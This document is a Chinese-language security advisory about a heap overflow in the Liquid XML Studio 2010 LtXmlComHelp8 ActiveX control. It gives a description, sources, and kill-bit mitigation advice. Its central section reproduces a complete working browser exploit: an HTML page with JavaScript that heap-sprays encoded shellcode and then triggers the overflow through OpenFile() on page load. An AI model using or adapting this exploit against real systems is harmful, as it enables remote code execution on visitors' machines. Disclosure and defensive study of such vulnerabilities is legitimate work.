安全研究
安全漏洞
Liquid XML Studio LtXmlComHelp8 ActiveX控件缓冲区溢出漏洞
发布日期：2010-03-19
更新日期：2010-03-22
受影响系统：
Liquid Technologies Liquid XML Studio 2010 <= 8.061970不受影响系统：
Liquid Technologies Liquid XML Studio 2010 8.10描述：
是一款高级的XML开发工具包和IDE。
Liquid XML Studio所安装的LtXmlComHelp8.UnicodeFile.1 ActiveX控件（LtXmlComHelp8.dll）没有正确地验证传送给OpenFile()方式的参数，用户受骗访问了恶意网页并传送了超长参数便可以触发堆溢出，导致执行任意代码。
<*来源：Steven Seeley （seeleymagic@hotmail.com）
链接：http://secunia.com/advisories/38974/
http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-012-liquid-xml-heap-overflow-0day/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<!--
|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| security@corelan.be |
| |
|-------------------------------------------------[ EIP Hunters ]--|
# Liquid XML Studio 2010 <= v8.061970 - (LtXmlComHelp8.dll) OpenFile() Remote 0day Heap Overflow Exploit
# Found by: Steven Seeley (mr_me) http://net-ninja[.]net/
# Homepage: http://www.liquid-technologies.com/
# Download: http://www.liquid-technologies.com/Download.aspx
# Tested on: Windows XP SP3 (IE 6 & 7)
# Greetz: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Reference: http://www.exploit-db.com/exploits/7402
# Thanks to e.wiZz! & shinnai for the reliable js code
# ######################################################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
! marked safe for scripting !
~~~~~~~ Liquid XML Customers ~~~~~~~
http://www.liquid-technologies.com/Customers.aspx
Liquid XML Studio is being used by thousands of organisations around the globe including many FTSE
100 and Fortune 100 companies, as part of their business critical projects.
- Australian DoD
- US DoD
- Federal Department of Foreign Affairs
- NSA
- US Army Material Command
- Bank of America
- American Express
- HSBC Bank
- Merrill Lynch
- Microsoft Corporation
- Cisco Systems
- etc
enough said.
-->
<object classid='clsid:E68E401C-7DB0-4F3A-88E1-159882468A79' id='boom' ></object>
<script language="JavaScript" defer>
//calc.exe
var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var sSlide = unescape("%u9090%u9090");
var heapSA = 0x0c0c0c0c;
function tryMe()
{
var buffSize = 10000;
var x = unescape("%0a%0a%0a%0a");
while (x.length<buffSize) x += x;
x = x.substring(0,buffSize);
boom.OpenFile(x, 1);
}
function getsSlide(sSlide, sSlideSize)
{
while (sSlide.length*2<sSlideSize)
{
sSlide += sSlide;
}
sSlide = sSlide.substring(0,sSlideSize/2);
return (sSlide);
}
var heapBS = 0x400000;
var sizeHDM = 0x5;
var PLSize = (sCode.length * 2);
var sSlideSize = heapBS - (PLSize + sizeHDM);
var heapBlocks = (heapSA+heapBS)/heapBS;
var memory = new Array();
sSlide = getsSlide(sSlide,sSlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = sSlide + sCode;
}
</script>
<body onload="JavaScript: return tryMe();">
<p><center>~ mr_me presents ~</p>
<p><b>Liquid XML Studio 2010 <= v8.061970 - (LtXmlComHelp8.dll) OpenFile() Remote 0day Heap Overflow Exploit</b></center></p>
</body>
</html>
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 为CLSID: E68E401C-7DB0-4F3A-88E1-159882468A79设置kill bit。
厂商补丁：
Liquid Technologies
-------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.liquid-technologies.com/
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